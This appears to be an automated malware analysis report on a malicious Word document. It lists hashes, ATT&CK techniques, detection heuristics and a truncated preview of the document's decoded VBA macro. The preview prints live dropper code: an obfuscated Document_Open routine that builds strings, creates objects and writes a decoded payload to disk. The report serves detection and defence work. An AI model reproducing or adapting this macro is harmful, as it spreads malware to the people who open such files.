Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa60c1fae6a0ef3b…

MALICIOUS

Office (OLE)

1.64 MB Created: 2018-01-24 08:33:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: c375bbf248592cee1a1999227457c300 SHA-1: afe50ddb5bf5702a4cc9a6cc21a441b09dbfb2c2 SHA-256: aa60c1fae6a0ef3b9863f710e46f0a7407cf0feffa240b9a4661a4e8884ac627
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains a VBA macro that is automatically executed upon opening the document, indicated by the 'Document_Open' subroutine and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. The macro utilizes 'CreateObject' and heavily obfuscated code, suggesting it's designed to download and execute a secondary payload. The ClamAV detection 'Doc.Malware.Valyria-7570499-0' further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-7570499-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-7570499-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocuI In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 648489 bytes
SHA-256: 83665698695c291e9099d35355871ffb88b0283ee21fb3df889fbf98fe4a6071
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 869 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "RefEdit2, 1, 1, RefEdit, RefEdit"

Option Explicit

Private Sub CommandButton1_Click()

End Sub

Sub Document_Open()
On Error Resume Next

hUVaX

Dim DLont As String
DLont = AOFRL(RXwFQ)
Dim Fysop As String
Fysop = ldhNp(PhReJ(19531, 19480))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(11749, 11654)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(14076, 13966)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(11691, 11714)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(12096, 12080)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(11312, 11332)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(11691, 11714)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(13811, 13725)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(20297, 20270)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(13213, 13235)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(15368, 15438)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(11691, 11714)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(11538, 11646)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(20914, 20951)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(19531, 19480)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(20153, 20160)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(17359, 17340)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(11312, 11332)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(20914, 20951)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(16007, 16106)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(12798, 12721)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(20299, 20265)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(20204, 20102)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(20914, 20951)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(11749, 11654)))
Fysop = hsUqm(Fysop, ldhNp(PhReJ(11312, 11332)))
Dim ftkxX As Object
Set ftkxX = CreateObject(Fysop)
Dim gTRQI As Object
Dim AWPqK As String
AWPqK = ""
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(17864, 17803)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(16685, 16663)))
AWPqK = hsUqm(AWPqK, "\")
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(11618, 11570)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(14076, 13966)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(11574, 11609)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(20297, 20270)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(14076, 13966)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(18720, 18753)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(16007, 16106)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(20799, 20859)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(18720, 18753)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(11312, 11332)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(18720, 18753)))
AWPqK = hsUqm(AWPqK, "\")
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(19101, 19146)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(11691, 11714)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(13811, 13725)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(19881, 19917)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(11574, 11609)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(12195, 12244)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(17359, 17340)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(15606, 15544)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(12551, 12627)))
AWPqK = hsUqm(AWPqK, "\")
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(19101, 19146)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(11691, 11714)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(13811, 13725)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(19881, 19917)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(11574, 11609)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(12195, 12244)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(17359, 17340)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(15606, 15544)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(12551, 12627)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(13213, 13235)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(11691, 11714)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(13811, 13725)))
AWPqK = hsUqm(AWPqK, ldhNp(PhReJ(11691, 11714)))


Set gTRQI = ftkxX.CreateTextFile(AWPqK, True, True)
gTRQI.Write DLont
gTRQI.Close


iKrkY
qmXWa
End Sub

Public Function qmXWa()
    Dim KysnN As Object
    Dim SXGBv As String
    SXGBv = ""
    SXGBv = hsUqm(SXGBv, ldhNp(PhReJ(19531, 19480)))
    S
... (truncated)

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